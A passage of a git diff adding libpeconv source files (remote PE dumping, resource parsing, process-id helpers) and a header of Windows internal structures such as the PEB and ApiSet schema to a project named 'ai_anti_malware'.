Failed to read the module header" << std::endl; + return 0; + } + if (!is_valid_sections_hdr_offset(hdr_buffer, MAX_HEADER_SIZE)) { + std::cerr << "[-] Sections headers are invalid or atypically aligned" << std::endl; + return 0; + } + size_t sections_count = get_sections_count(hdr_buffer, MAX_HEADER_SIZE); +#ifdef _DEBUG + std::cout << "Sections: " << sections_count << std::endl; +#endif + size_t read_size = MAX_HEADER_SIZE; + + for (size_t i = 0; i < sections_count; i++) { + PIMAGE_SECTION_HEADER hdr = get_section_hdr(hdr_buffer, MAX_HEADER_SIZE, i); + if (!hdr) { + std::cerr << "[-] Failed to read the header of section: " << i << std::endl; + break; + } + const DWORD sec_va = hdr->VirtualAddress; + const DWORD sec_vsize = get_virtual_sec_size(hdr_buffer, hdr, true); + if (sec_va + sec_vsize > bufferSize) { + std::cerr << "[-] No more space in the buffer!" << std::endl; + break; + } + if (sec_vsize > 0 && !read_remote_memory(processHandle, start_addr + sec_va, buffer + sec_va, sec_vsize)) { + std::cerr << "[-] Failed to read the module section " << i <<" : at: " << std::hex << ULONG_PTR(start_addr + sec_va) << std::endl; + } + // update the end of the read area: + size_t new_end = sec_va + sec_vsize; + if (new_end > read_size) read_size = new_end; + } +#ifdef _DEBUG + std::cout << "Total read size: " << read_size << std::endl; +#endif + return read_size; +} + +DWORD peconv::get_remote_image_size(IN const HANDLE processHandle, IN BYTE *start_addr) +{ + BYTE hdr_buffer[MAX_HEADER_SIZE] = { 0 }; + if (!read_remote_pe_header(processHandle, start_addr, hdr_buffer, MAX_HEADER_SIZE)) { + return 0; + } + return peconv::get_image_size(hdr_buffer); +} + +bool peconv::dump_remote_pe(IN const char *out_path, + IN const HANDLE processHandle, + IN BYTE* start_addr, + IN OUT t_pe_dump_mode &dump_mode, + IN OPTIONAL peconv::ExportsMapper* exportsMap) +{ + DWORD mod_size = get_remote_image_size(processHandle, start_addr); +#ifdef _DEBUG + std::cout << "Module Size: " << mod_size << std::endl; +#endif + if (mod_size == 0) { + return false; + } + + BYTE* buffer = peconv::alloc_pe_buffer(mod_size, PAGE_READWRITE); + if (buffer == nullptr) { + std::cerr << "[-] Failed allocating buffer. Error: " << GetLastError() << std::endl; + return false; + } + //read the module that it mapped in the remote process: + const size_t read_size = read_remote_pe(processHandle, start_addr, mod_size, buffer, mod_size); + if (read_size == 0) { + std::cerr << "[-] Failed reading module. Error: " << GetLastError() << std::endl; + peconv::free_pe_buffer(buffer, mod_size); + buffer = nullptr; + return false; + } + + const bool is_dumped = peconv::dump_pe(out_path, + buffer, mod_size, + reinterpret_cast(start_addr), + dump_mode, exportsMap); + + peconv::free_pe_buffer(buffer, mod_size); + buffer = nullptr; + return is_dumped; +} + diff --git a/ai_anti_malware/libpeconv/libpeconv/src/resource_parser.cpp b/ai_anti_malware/libpeconv/libpeconv/src/resource_parser.cpp new file mode 100644 index 0000000..4d22469 --- /dev/null +++ b/ai_anti_malware/libpeconv/libpeconv/src/resource_parser.cpp @@ -0,0 +1,90 @@ +#include "peconv/resource_parser.h" +#include "peconv/pe_hdrs_helper.h" + +#ifdef _DEBUG +#include +#endif + +bool parse_resource_dir(BYTE* modulePtr, const size_t moduleSize, + IMAGE_RESOURCE_DIRECTORY_ENTRY *root_dir, + const IMAGE_RESOURCE_DIRECTORY *upper_dir, + IMAGE_RESOURCE_DIRECTORY* curr_dir, + peconv::t_on_res_entry_found on_entry); + +bool parse_resource_entry(BYTE* modulePtr, const size_t moduleSize, + IMAGE_RESOURCE_DIRECTORY_ENTRY *root_dir, + const IMAGE_RESOURCE_DIRECTORY *upper_dir, + IMAGE_RESOURCE_DIRECTORY_ENTRY* entry, + peconv::t_on_res_entry_found on_entry) +{ + if (!entry->DataIsDirectory) { +#ifdef _DEBUG + std::cout << "Entry is NOT a directory\n"; +#endif + DWORD offset = entry->OffsetToData; +#ifdef _DEBUG + std::cout << "Offset: " << offset << std::endl; +#endif + IMAGE_RESOURCE_DATA_ENTRY *data_entry = (IMAGE_RESOURCE_DATA_ENTRY*)(offset + (ULONGLONG)upper_dir); + if (!peconv::validate_ptr(modulePtr, moduleSize, data_entry, sizeof(IMAGE_RESOURCE_DATA_ENTRY))) { + return false; + } +#ifdef _DEBUG + std::cout << "Data Offset: " << data_entry->OffsetToData << " : " << data_entry->Size << std::endl; +#endif + BYTE* data_ptr = (BYTE*)((ULONGLONG)modulePtr + data_entry->OffsetToData); + if (!peconv::validate_ptr(modulePtr, moduleSize, data_ptr, data_entry->Size)) { + return false; + } + on_entry(modulePtr, root_dir, data_entry); + return true; + } +#ifdef _DEBUG + std::cout << "Entry is a directory\n"; +#endif + //else: it is a next level directory + DWORD offset = entry->OffsetToDirectory; +#ifdef _DEBUG + std::cout << "Offset: " << offset << std::endl; +#endif + IMAGE_RESOURCE_DIRECTORY *next_dir = (IMAGE_RESOURCE_DIRECTORY*)(offset + (ULONGLONG)upper_dir); + if (!peconv::validate_ptr(modulePtr, moduleSize, next_dir, sizeof(IMAGE_RESOURCE_DIRECTORY))) { + return false; + } + return parse_resource_dir(modulePtr, moduleSize, root_dir, upper_dir, next_dir, on_entry); +} + +bool parse_resource_dir(BYTE* modulePtr, const size_t moduleSize, + IMAGE_RESOURCE_DIRECTORY_ENTRY *root_dir, + const IMAGE_RESOURCE_DIRECTORY *upper_dir, + IMAGE_RESOURCE_DIRECTORY* curr_dir, + peconv::t_on_res_entry_found on_entry) +{ + size_t total_entries = curr_dir->NumberOfIdEntries + curr_dir->NumberOfNamedEntries; + IMAGE_RESOURCE_DIRECTORY_ENTRY* first_entry = (IMAGE_RESOURCE_DIRECTORY_ENTRY*)((ULONGLONG)&curr_dir->NumberOfIdEntries + sizeof(WORD)); + for (size_t i = 0; i < total_entries; i++) { + IMAGE_RESOURCE_DIRECTORY_ENTRY* entry = &first_entry[i]; +#ifdef _DEBUG + std::cout << "Entry:" << std::hex << i << " ; " << "Id: " << entry->Id << " ; dataOffset:" << entry->OffsetToData << "\n"; +#endif + if (root_dir == nullptr) { + root_dir = entry; + } + parse_resource_entry(modulePtr, moduleSize, root_dir, upper_dir, entry, on_entry); + } + return true; +} + +bool peconv::parse_resources(BYTE* modulePtr, t_on_res_entry_found on_entry) +{ + const size_t module_size = peconv::get_image_size(modulePtr); + IMAGE_DATA_DIRECTORY *dir = peconv::get_directory_entry(modulePtr, IMAGE_DIRECTORY_ENTRY_RESOURCE); + if (!dir || dir->VirtualAddress == 0 || dir->Size == 0) { + return false; + } + IMAGE_RESOURCE_DIRECTORY *res_dir = (IMAGE_RESOURCE_DIRECTORY*)(dir->VirtualAddress + (ULONGLONG)modulePtr); + if (!peconv::validate_ptr(modulePtr, module_size, res_dir, sizeof(IMAGE_DEBUG_DIRECTORY))) { + return false; + } + return parse_resource_dir(modulePtr, module_size, nullptr, res_dir, res_dir, on_entry); +} diff --git a/ai_anti_malware/libpeconv/libpeconv/src/resource_util.cpp b/ai_anti_malware/libpeconv/libpeconv/src/resource_util.cpp new file mode 100644 index 0000000..6a7e8f5 --- /dev/null +++ b/ai_anti_malware/libpeconv/libpeconv/src/resource_util.cpp @@ -0,0 +1,56 @@ +#include "peconv/resource_util.h" + +#ifdef _DEBUG +#include +#endif + +HMODULE peconv::get_current_module_handle() +{ + HMODULE hMod = NULL; + GetModuleHandleExW( + GET_MODULE_HANDLE_EX_FLAG_FROM_ADDRESS | GET_MODULE_HANDLE_EX_FLAG_UNCHANGED_REFCOUNT, + reinterpret_cast(&peconv::get_current_module_handle), + &hMod); + return hMod; +} + +peconv::ALIGNED_BUF peconv::load_resource_data(OUT size_t &out_size, int res_id, const LPSTR res_type, HMODULE hInstance) +{ + if (hInstance == nullptr) { + hInstance = GetModuleHandleA(NULL); + } + HRSRC res = FindResourceA(hInstance, MAKEINTRESOURCEA(res_id), res_type); + if (!res) { +#ifdef _DEBUG + std::cerr << "Cannot find resource" << std::endl; +#endif + return nullptr; + } + HGLOBAL res_handle = LoadResource(hInstance, res); + if (res_handle == nullptr) { +#ifdef _DEBUG + std::cerr << "Cannot get resource handle" << std::endl; +#endif + return nullptr; + } + BYTE* res_data = (BYTE*) LockResource(res_handle); + size_t r_size = static_cast(SizeofResource(hInstance, res)); + if (out_size != 0 && out_size <= r_size) { + r_size = out_size; + } + + peconv::ALIGNED_BUF out_buf = peconv::alloc_aligned(r_size, PAGE_READWRITE); + if (out_buf != nullptr) { + memcpy(out_buf, res_data, r_size); + out_size = r_size; + } else { + out_size = 0; + } + FreeResource(res_handle); + return out_buf; +} + +void peconv::free_resource_data(peconv::ALIGNED_BUF buffer) +{ + peconv::free_aligned(buffer); +} diff --git a/ai_anti_malware/libpeconv/libpeconv/src/util.cpp b/ai_anti_malware/libpeconv/libpeconv/src/util.cpp new file mode 100644 index 0000000..167e8b4 --- /dev/null +++ b/ai_anti_malware/libpeconv/libpeconv/src/util.cpp @@ -0,0 +1,100 @@ +#include "peconv/util.h" + +namespace peconv { + DWORD(WINAPI *g_GetProcessId)(IN HANDLE Process) = nullptr; + + HMODULE g_kernel32Hndl = nullptr; + HMODULE g_ntdllHndl = nullptr; + + HMODULE get_kernel32_hndl() + { + if (g_kernel32Hndl == nullptr) { + g_kernel32Hndl = LoadLibraryA("kernel32.dll"); + } + return g_kernel32Hndl; + } + + HMODULE get_ntdll_hndl() + { + if (g_ntdllHndl == nullptr) { + g_ntdllHndl = LoadLibraryA("ntdll.dll"); + } + return g_ntdllHndl; + } +}; + +DWORD ntdll_get_process_id(HANDLE hProcess) +{ +#if !defined PROCESSINFOCLASS + typedef LONG PROCESSINFOCLASS; +#endif + + NTSTATUS(WINAPI *_ZwQueryInformationProcess)( + IN HANDLE ProcessHandle, + IN PROCESSINFOCLASS ProcessInformationClass, + OUT PVOID ProcessInformation, + IN ULONG ProcessInformationLength, + OUT PULONG ReturnLength + ) = NULL; + + HINSTANCE hNtDll = peconv::get_ntdll_hndl(); + if (!hNtDll) { + return 0; + } + + FARPROC procPtr = GetProcAddress(hNtDll, "ZwQueryInformationProcess"); + if (!procPtr) { + return 0; + } + + _ZwQueryInformationProcess = (NTSTATUS(WINAPI *)( + HANDLE, + PROCESSINFOCLASS, + PVOID, + ULONG, + PULONG) + ) procPtr; + + typedef struct _PROCESS_BASIC_INFORMATION { + PVOID Reserved1; + PVOID PebBaseAddress; + PVOID Reserved2[2]; + ULONG_PTR UniqueProcessId; + PVOID Reserved3; + } PROCESS_BASIC_INFORMATION; + + PROCESS_BASIC_INFORMATION pbi = { 0 }; + if (_ZwQueryInformationProcess(hProcess, 0, &pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL) == S_OK) { + const DWORD pid = static_cast(pbi.UniqueProcessId); + return pid; + } + return 0; +} + +DWORD peconv::get_process_id(HANDLE hProcess) +{ + if (!peconv::g_GetProcessId) { + HMODULE kernelLib = peconv::get_kernel32_hndl(); + if (!kernelLib) return FALSE; + + FARPROC procPtr = GetProcAddress(kernelLib, "GetProcessId"); + if (!procPtr) return FALSE; + + peconv::g_GetProcessId = (DWORD(WINAPI *) (IN HANDLE))procPtr; + } + if (peconv::g_GetProcessId) { + return peconv::g_GetProcessId(hProcess); + } + //could not retrieve Pid using GetProcessId, try using NTDLL: + return ntdll_get_process_id(hProcess); +} + +bool peconv::is_padding(const BYTE *cave_ptr, size_t cave_size, const BYTE padding) +{ + for (size_t i = 0; i < cave_size; i++) { + if (cave_ptr[i] != padding) { + return false; + } + } + return true; +} diff --git a/ai_anti_malware/native_struct.h b/ai_anti_malware/native_struct.h new file mode 100644 index 0000000..7d6bfcd --- /dev/null +++ b/ai_anti_malware/native_struct.h @@ -0,0 +1,1028 @@ +#pragma once +#include "head.h" +enum params_type { + PARAMS_INT, + PARAMS_CHAR, + PARAMS_WCHAR, + PARAMS_UINT, +}; + +// ApiSetschema v1 structs +// --------------------------------------------------------------------------------------------- + +// Windows 6.x redirection descriptor, describes forward and backward +// redirections. +typedef struct _REDIRECTION { + DWORD OffsetRedirection1; + USHORT RedirectionLength1; + USHORT _padding1; + DWORD OffsetRedirection2; + USHORT RedirectionLength2; + USHORT _padding2; +} REDIRECTION, *PREDIRECTION; + +// Windows 6.x library director structure, describes redirections. +typedef struct _DLLREDIRECTOR { + DWORD NumberOfRedirections; // Number of REDIRECTION structs. + REDIRECTION Redirection[1]; // array of REDIRECTION structures +} DLLREDIRECTOR, *PDLLREDIRECTOR; + +// Windows 6.x library descriptor structure. These are located as a contiguously +// allocated array from the start of the first structure. +typedef struct _DLLHOSTDESCRIPTOR { + DWORD OffsetDllString; + DWORD StringLength; + DWORD OffsetDllRedirector; // offset to DLLREDIRECTOR +} DLLHOSTDESCRIPTOR, *PDLLHOSTDESCRIPTOR; + +// Windows 6.x ApiSetSchema base structure. +typedef struct _APISETMAP { + DWORD Version; // dummy name (this field is never used) + DWORD NumberOfHosts; // number of DLLHOSTDESCRIPTOR structures following. + DLLHOSTDESCRIPTOR descriptors[1]; // array of DLLHOSTDESCRIPTOR structures. +} APISETMAP, *PAPISETMAP; + +// ApiSetschema v2 structs for Windows 8.1. +// --------------------------------------------------------------------------------------------- + +typedef struct _API_SET_VALUE_ENTRY_V2 { + ULONG Flags; + ULONG NameOffset; + ULONG NameLength; + ULONG ValueOffset; + ULONG ValueLength; +} API_SET_VALUE_ENTRY_V2, *PAPI_SET_VALUE_ENTRY_V2; + +typedef struct _API_SET_VALUE_ARRAY_V2 { + ULONG Flags; + ULONG Count; + _API_SET_VALUE_ENTRY_V2 Array[ANYSIZE_ARRAY]; +} API_SET_VALUE_ARRAY_V2, *PAPI_SET_VALUE_ARRAY_V2; + +typedef struct _API_SET_NAMESPACE_ENTRY_V2 { + ULONG Flags; + ULONG NameOffset; + ULONG NameLength; + ULONG AliasOffset; + ULONG AliasLength; + ULONG DataOffset; // API_SET_VALUE_ARRAY +} API_SET_NAMESPACE_ENTRY_V2, *PAPI_SET_NAMESPACE_ENTRY_V2; + +typedef struct _API_SET_NAMESPACE_ARRAY_V2 { + ULONG Version; + ULONG Size; + ULONG Flags; + ULONG Count; + _API_SET_NAMESPACE_ENTRY_V2 Array[ANYSIZE_ARRAY]; +} API_SET_NAMESPACE_ARRAY_V2, *PAPI_SET_NAMESPACE_ARRAY_V2; + +// ApiSetschema structs for Windows 10. +// --------------------------------------------------------------------------------------------- + +typedef struct _API_SET_VALUE_ENTRY_10 { + ULONG Flags; + ULONG NameOffset; + ULONG NameLength; + ULONG ValueOffset; + ULONG ValueLength; +} API_SET_VALUE_ENTRY_10, *PAPI_SET_VALUE_ENTRY_10; + +typedef struct _API_SET_VALUE_ARRAY_10 { + ULONG Flags; + ULONG NameOffset; + ULONG Unk; + ULONG NameLength; + ULONG DataOffset; + ULONG Count; +} API_SET_VALUE_ARRAY_10, *PAPI_SET_VALUE_ARRAY_10; + +typedef struct _API_SET_NAMESPACE_ENTRY_10 { + uint32_t Flags; + uint32_t NameOffset; + uint32_t NameLength; + uint32_t HashedLength; + uint32_t ValueOffset; + uint32_t ValueCount; +} API_SET_NAMESPACE_ENTRY_10, *PAPI_SET_NAMESPACE_ENTRY_10; + +typedef struct _API_SET_NAMESPACE_ARRAY_10 { + ULONG Version; + ULONG Size; + ULONG Flags; + ULONG Count; + ULONG Start; + ULONG End; + API_SET_NAMESPACE_ENTRY_10 Array[1]; +} API_SET_NAMESPACE_ARRAY_10, *PAPI_SET_NAMESPACE_ARRAY_10; + +typedef struct _UNICODE_STRING { + USHORT Length; + USHORT MaximumLength; + PWSTR Buffer; +} UNICODE_STRING; +typedef UNICODE_STRING* PUNICODE_STRING; +typedef const UNICODE_STRING* PCUNICODE_STRING; +typedef PVOID(NTAPI* RtlImageDirectoryEntryToDataFn)(PVOID, BOOLEAN, USHORT, + PULONG); +enum class Msr : unsigned int { + kIa32ApicBase = 0x01B, + + kIa32FeatureControl = 0x03A, + + kIa32SysenterCs = 0x174, + kIa32SysenterEsp = 0x175, + kIa32SysenterEip = 0x176, + + kIa32Debugctl = 0x1D9, + + kIa32MtrrCap = 0xFE, + kIa32MtrrDefType = 0x2FF, + kIa32MtrrPhysBaseN = 0x200, + kIa32MtrrPhysMaskN = 0x201, + kIa32MtrrFix64k00000 = 0x250, + kIa32MtrrFix16k80000 = 0x258, + kIa32MtrrFix16kA0000 = 0x259, + kIa32MtrrFix4kC0000 = 0x268, + kIa32MtrrFix4kC8000 = 0x269, + kIa32MtrrFix4kD0000 = 0x26A, + kIa32MtrrFix4kD8000 = 0x26B, + kIa32MtrrFix4kE0000 = 0x26C, + kIa32MtrrFix4kE8000 = 0x26D, + kIa32MtrrFix4kF0000 = 0x26E, + kIa32MtrrFix4kF8000 = 0x26F, + + kIa32VmxBasic = 0x480, + kIa32VmxPinbasedCtls = 0x481, + kIa32VmxProcBasedCtls = 0x482, + kIa32VmxExitCtls = 0x483, + kIa32VmxEntryCtls = 0x484, + kIa32VmxMisc = 0x485, + kIa32VmxCr0Fixed0 = 0x486, + kIa32VmxCr0Fixed1 = 0x487, + kIa32VmxCr4Fixed0 = 0x488, + kIa32VmxCr4Fixed1 = 0x489, + kIa32VmxVmcsEnum = 0x48A, + kIa32VmxProcBasedCtls2 = 0x48B, + kIa32VmxEptVpidCap = 0x48C, + kIa32VmxTruePinbasedCtls = 0x48D, + kIa32VmxTrueProcBasedCtls = 0x48E, + kIa32VmxTrueExitCtls = 0x48F, + kIa32VmxTrueEntryCtls = 0x490, + kIa32VmxVmfunc = 0x491, + + kIa32Efer = 0xC0000080, + kIa32Star = 0xC0000081, + kIa32Lstar = 0xC0000082, + + kIa32Fmask = 0xC0000084, + + kIa32FsBase = 0xC0000100, + kIa32GsBase = 0xC0000101, + kIa32KernelGsBase = 0xC0000102, + kIa32TscAux = 0xC0000103, +}; +typedef struct _PEB_LDR_DATA { + BYTE Reserved1[8]; + PVOID Reserved2[3]; + LIST_ENTRY InMemoryOrderModuleList; +} PEB_LDR_DATA, *PPEB_LDR_DATA; + +typedef struct _LDR_DATA_TABLE_ENTRY { + LIST_ENTRY InLoadOrderLinks; + LIST_ENTRY InMemoryOrderLinks; + LIST_ENTRY InInitializationOrderLinks; + PVOID DllBase; + PVOID EntryPoint; + ULONG SizeOfImages; + UNICODE_STRING FullDllName; + UNICODE_STRING BaseDllName; + ULONG Flags; + USHORT LoadCount; + USHORT TlsIndex; + union { + LIST_ENTRY HashLinks; + struct { + PVOID SectionPointer; + ULONG CheckSum; + }; + }; + union { + struct { + ULONG TimeDateStamp; + }; + struct { + PVOID LoadedImports; + }; + }; +} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY; +typedef struct _RTL_USER_PROCESS_PARAMETERS { + BYTE Reserved1[16]; + PVOID Reserved2[10]; + UNICODE_STRING ImagePathName; + UNICODE_STRING CommandLine; +} RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS; + +typedef struct _BASE_RELOCATION_ENTRY { + WORD Offset : 12; + WORD Type : 4; +} BASE_RELOCATION_ENTRY; +typedef VOID(NTAPI* PPS_POST_PROCESS_INIT_ROUTINE)(VOID); +// 0x10 bytes (sizeof) +struct _STRING64 { + USHORT Length; // 0x0 + USHORT MaximumLength; // 0x2 + ULONGLONG Buffer; // 0x8 +}; + +// 0x58 bytes (sizeof) +struct X64_PEB_LDR_DATA { + ULONG Length; // 0x0 + UCHAR Initialized; // 0x4 + VOID* SsHandle; // 0x8 + struct _LIST_ENTRY InLoadOrderModuleList; // 0x10 + struct _LIST_ENTRY InMemoryOrderModuleList; // 0x20 + struct _LIST_ENTRY InInitializationOrderModuleList; // 0x30 + VOID* EntryInProgress; // 0x40 + UCHAR ShutdownInProgress; // 0x48 + VOID* ShutdownThreadId; // 0x50 +}; +static_assert(sizeof(X64_PEB_LDR_DATA) == 0x58, "X64_PEB_LDR_DATA Size check"); + +typedef struct X64PEB { + UCHAR InheritedAddressSpace; // 0x0 + UCHAR ReadImageFileExecOptions; // 0x1 + UCHAR BeingDebugged; // 0x2 + union { + UCHAR BitField; // 0x3 + struct { + UCHAR ImageUsesLargePages : 1; // 0x3 + UCHAR IsProtectedProcess : 1; // 0x3 + UCHAR IsImageDynamicallyRelocated : 1; // 0x3 + UCHAR SkipPatchingUser32Forwarders : 1; // 0x3 + UCHAR IsPackagedProcess : 1; // 0x3 + UCHAR IsAppContainer : 1; // 0x3 + UCHAR IsProtectedProcessLight : 1; // 0x3 + UCHAR IsLongPathAwareProcess : 1; // 0x3 + }; + }; + UCHAR Padding0[4]; // 0x4 + ULONGLONG Mutant; // 0x8 + ULONGLONG ImageBaseAddress; // 0x10 + ULONGLONG Ldr; // 0x18 + ULONGLONG ProcessParameters; // 0x20 + ULONGLONG SubSystemData; // 0x28 + ULONGLONG ProcessHeap; // 0x30 + ULONGLONG FastPebLock; // 0x38 + ULONGLONG AtlThunkSListPtr; // 0x40 + ULONGLONG IFEOKey; // 0x48 + union { + ULONG CrossProcessFlags; // 0x50 + struct { + ULONG ProcessInJob : 1; // 0x50 + ULONG ProcessInitializing : 1; // 0x50 + ULONG ProcessUsingVEH : 1; // 0x50 + ULONG ProcessUsingVCH : 1; // 0x50 + ULONG ProcessUsingFTH : 1; // 0x50 + ULONG ProcessPreviouslyThrottled : 1; // 0x50 + ULONG ProcessCurrentlyThrottled : 1; // 0x50 + ULONG ProcessImagesHotPatched : 1; // 0x50 + ULONG ReservedBits0 : 24; // 0x50 + }; + }; + UCHAR Padding1[4]; // 0x54 + union { + ULONGLONG KernelCallbackTable; // 0x58 + ULONGLONG UserSharedInfoPtr; // 0x58 + }; + ULONG SystemReserved; // 0x60 + ULONG AtlThunkSListPtr32; // 0x64 + ULONGLONG ApiSetMap; // 0x68 + ULONG TlsExpansionCounter; // 0x70 + UCHAR Padding2[4]; // 0x74 + ULONGLONG TlsBitmap; // 0x78 + ULONG TlsBitmapBits[2]; // 0x80 + ULONGLONG ReadOnlySharedMemoryBase; // 0x88 + ULONGLONG SharedData; // 0x90 + ULONGLONG ReadOnlyStaticServerData; // 0x98 + ULONGLONG AnsiCodePageData; // 0xa0 + ULONGLONG OemCodePageData; // 0xa8 + ULONGLONG UnicodeCaseTableData; // 0xb0 + ULONG NumberOfProcessors; // 0xb8 + ULONG NtGlobalFlag; // 0xbc + union _LARGE_INTEGER CriticalSectionTimeout; // 0xc0 + ULONGLONG HeapSegmentReserve; // 0xc8 + ULONGLONG HeapSegmentCommit; // 0xd0 + ULONGLONG HeapDeCommitTotalFreeThreshold; // 0xd8 + ULONGLONG HeapDeCommitFreeBlockThreshold; // 0xe0 + ULONG NumberOfHeaps; // 0xe8 + ULONG MaximumNumberOfHeaps; // 0xec + ULONGLONG ProcessHeaps; // 0xf0 + ULONGLONG GdiSharedHandleTable; // 0xf8 + ULONGLONG ProcessStarterHelper; // 0x100 + ULONG GdiDCAttributeList; // 0x108 + UCHAR Padding3[4]; // 0x10c + ULONGLONG LoaderLock; // 0x110 + ULONG OSMajorVersion; // 0x118 + ULONG OSMinorVersion; // 0x11c + USHORT OSBuildNumber; // 0x120 + USHORT OSCSDVersion; // 0x122 + ULONG OSPlatformId; // 0x124 + ULONG ImageSubsystem; // 0x128 + ULONG ImageSubsystemMajorVersion; // 0x12c + ULONG ImageSubsystemMinorVersion; // 0x130 + UCHAR Padding4[4]; // 0x134 + ULONGLONG ActiveProcessAffinityMask; // 0x138 + ULONG GdiHandleBuffer[60]; // 0x140 + ULONGLONG PostProcessInitRoutine; // 0x230 + ULONGLONG TlsExpansionBitmap; // 0x238 + ULONG TlsExpansionBitmapBits[32]; // 0x240 + ULONG SessionId; // 0x2c0 + UCHAR Padding5[4]; // 0x2c4 + union _ULARGE_INTEGER AppCompatFlags; // 0x2c8 + union _ULARGE_INTEGER AppCompatFlagsUser; // 0x2d0 + ULONGLONG pShimData; // 0x2d8 + ULONGLONG AppCompatInfo; // 0x2e0 + struct _STRING64 CSDVersion; // 0x2e8 + ULONGLONG ActivationContextData; // 0x2f8 + ULONGLONG ProcessAssemblyStorageMap; // 0x300 + ULONGLONG SystemDefaultActivationContextData; // 0x308 + ULONGLONG SystemAssemblyStorageMap; // 0x310 + ULONGLONG MinimumStackCommit; // 0x318 + ULONGLONG FlsCallback; // 0x320 + struct LIST_ENTRY64 FlsListHead; // 0x328 + ULONGLONG FlsBitmap; // 0x338 + ULONG FlsBitmapBits[4]; // 0x340 + ULONG FlsHighIndex; // 0x350 + ULONGLONG WerRegistrationData; // 0x358 + ULONGLONG WerShipAssertPtr; // 0x360 + ULONGLONG pUnused; // 0x368 + ULONGLONG pImageHeaderHash; // 0x370 + union { + ULONG TracingFlags; // 0x378 + struct { + ULONG HeapTracingEnabled : 1; // 0x378 + ULONG CritSecTracingEnabled : 1; // 0x378 + ULONG LibLoaderTracingEnabled : 1; // 0x378 + ULONG SpareTracingBits : 29; // 0x378 + }; + }; + UCHAR Padding6[4]; // 0x37c + ULONGLONG CsrServerReadOnlySharedMemoryBase; // 0x380 + ULONGLONG TppWorkerpListLock; // 0x388 + struct LIST_ENTRY64 TppWorkerpList; // 0x390 + ULONGLONG WaitOnAddressHashTable[128]; // 0x3a0 + ULONGLONG TelemetryCoverageHeader; // 0x7a0 + ULONG CloudFileFlags; // 0x7a8 + ULONG CloudFileDiagFlags; // 0x7ac + CHAR PlaceholderCompatibilityMode; // 0x7b0 + CHAR PlaceholderCompatibilityModeReserved[7]; // 0x7b1 + ULONGLONG LeapSecondData; // 0x7b8 + union { + ULONG LeapSecondFlags; // 0x7c0 + struct { + ULONG SixtySecondEnabled : 1; // 0x7c0 + ULONG Reserved : 31; // 0x7c0 + }; + }; + ULONG NtGlobalFlag2; // 0x7c4 +}; +static_assert(sizeof(X64PEB) == 0x7c8, "X64PEB Size check"); +//0x8 bytes (sizeof) +struct _STRING32 +{ + USHORT Length; //0x0 + USHORT MaximumLength; //0x2 + ULONG Buffer; //0x4 +}; +//0x480 bytes (sizeof) +struct X32PEB +{ + UCHAR InheritedAddressSpace; //0x0 + UCHAR ReadImageFileExecOptions; //0x1 + UCHAR BeingDebugged; //0x2 + union + { + UCHAR BitField; //0x3 + struct + { + UCHAR ImageUsesLargePages : 1; //0x3 + UCHAR IsProtectedProcess : 1; //0x3 + UCHAR IsImageDynamicallyRelocated : 1; //0x3 + UCHAR SkipPatchingUser32Forwarders : 1; //0x3 + UCHAR IsPackagedProcess : 1; //0x3 + UCHAR IsAppContainer : 1; //0x3 + UCHAR IsProtectedProcessLight : 1; //0x3 + UCHAR IsLongPathAwareProcess : 1; //0x3 + }; + }; + ULONG Mutant; //0x4 + ULONG ImageBaseAddress; //0x8 + ULONG Ldr; //0xc + ULONG ProcessParameters; //0x10 + ULONG SubSystemData; //0x14 + ULONG ProcessHeap; //0x18 + ULONG FastPebLock; //0x1c + ULONG AtlThunkSListPtr; //0x20 + ULONG IFEOKey; //0x24 + union + { + ULONG CrossProcessFlags; //0x28 + struct + { + ULONG ProcessInJob : 1; //0x28 + ULONG ProcessInitializing : 1; //0x28 + ULONG ProcessUsingVEH : 1; //0x28 + ULONG ProcessUsingVCH : 1; //0x28 + ULONG ProcessUsingFTH : 1; //0x28 + ULONG ProcessPreviouslyThrottled : 1; //0x28 + ULONG ProcessCurrentlyThrottled : 1; //0x28 + ULONG ProcessImagesHotPatched : 1; //0x28 + ULONG ReservedBits0 : 24; //0x28 + }; + }; + union + { + ULONG KernelCallbackTable; //0x2c + ULONG UserSharedInfoPtr; //0x2c + }; + ULONG SystemReserved; //0x30 + ULONG AtlThunkSListPtr32; //0x34 + ULONG ApiSetMap; //0x38 + ULONG TlsExpansionCounter; //0x3c + ULONG TlsBitmap; //0x40 + ULONG TlsBitmapBits[2]; //0x44 + ULONG ReadOnlySharedMemoryBase; //0x4c + ULONG SharedData; //0x50 + ULONG ReadOnlyStaticServerData; //0x54 + ULONG AnsiCodePageData; //0x58 + ULONG OemCodePageData; //0x5c + ULONG UnicodeCaseTableData; //0x60 + ULONG NumberOfProcessors; //0x64 + ULONG NtGlobalFlag; //0x68 + union _LARGE_INTEGER CriticalSectionTimeout; //0x70 + ULONG HeapSegmentReserve; //0x78 + ULONG HeapSegmentCommit; //0x7c + ULONG HeapDeCommitTotalFreeThreshold; //0x80 + ULONG HeapDeCommitFreeBlockThreshold; //0x84 + ULONG NumberOfHeaps; //0x88 + ULONG MaximumNumberOfHeaps; //0x8c + ULONG ProcessHeaps; //0x90 + ULONG GdiSharedHandleTable; //0x94 + ULONG ProcessStarterHelper; //0x98 + ULONG GdiDCAttributeList; //0x9c + ULONG LoaderLock; //0xa0 + ULONG OSMajorVersion; //0xa4 + ULONG OSMinorVersion; //0xa8 + USHORT OSBuildNumber; //0xac + USHORT OSCSDVersion; //0xae + ULONG OSPlatformId; //0xb0 + ULONG ImageSubsystem; //0xb4 + ULONG ImageSubsystemMajorVersion; //0xb8 + ULONG ImageSubsystemMinorVersion; //0xbc + ULONG ActiveProcessAffinityMask; //0xc0 + ULONG GdiHandleBuffer[34]; //0xc4 + ULONG PostProcessInitRoutine; //0x14c + ULONG TlsExpansionBitmap; //0x150 + ULONG TlsExpansionBitmapBits[32]; //0x154 + ULONG SessionId; //0x1d4 + union _ULARGE_INTEGER AppCompatFlags; //0x1d8 + union _ULARGE_INTEGER AppCompatFlagsUser; //0x1e0 + ULONG pShimData; //0x1e8 + ULONG AppCompatInfo; //0x1ec + struct _STRING32 CSDVersion; //0x1f0 + ULONG ActivationContextData; //0x1f8 + ULONG ProcessAssemblyStorageMap; //0x1fc + ULONG SystemDefaultActivationContextData; //0x200 + ULONG SystemAssemblyStorageMap; //0x204 + ULONG MinimumStackCommit; //0x208 + ULONG SparePointers[4]; //0x20c + ULONG SpareUlongs[5]; //0x21c + ULONG WerRegistrationData; //0x230 + ULONG WerShipAssertPtr; //0x234 